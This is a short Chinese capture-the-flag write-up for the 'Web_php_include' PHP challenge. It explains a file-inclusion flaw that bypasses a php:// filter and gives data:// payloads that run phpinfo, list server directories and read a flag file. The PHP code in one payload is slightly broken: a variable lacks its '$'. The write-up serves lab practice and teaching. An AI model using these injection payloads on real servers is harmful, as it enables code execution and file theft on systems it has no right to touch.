32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
窗边鸟6 分钟前
小白日记之java方法(java复习)
java·学习
burning_maple32 分钟前
redis笔记
数据库·redis·笔记
魔芋红茶33 分钟前
Spring Security 学习笔记 4:用户/密码认证
笔记·学习·spring
googleccsdn41 分钟前
ENSP Pro Lab笔记:配置BGP VXLAN双栈(3)
网络·笔记
twcc_come1 小时前
渗透第一次作业
安全·web安全
亚控科技1 小时前
智慧园区安全态势感知升级:从分散管控到全域协同的实践
安全·智慧园区·kingscada·亚控科技·信创scada
爱宁~1 小时前
UnityShader学习笔记[二百九十九]UGUI中的Mask遮罩半透明Shader
笔记·学习
安当加密2 小时前
电力系统如何防“明文传输”?某电网公司用SM2+UKey构建“端到端加密”实战
服务器·数据库·安全·阿里云
sunlifenger3 小时前
上海兆越人员定位系统,多元技术赋能,精准守护工业安全
网络·人工智能·安全
啦哈拉哈3 小时前
【Python】知识点零碎学习4
python·学习·算法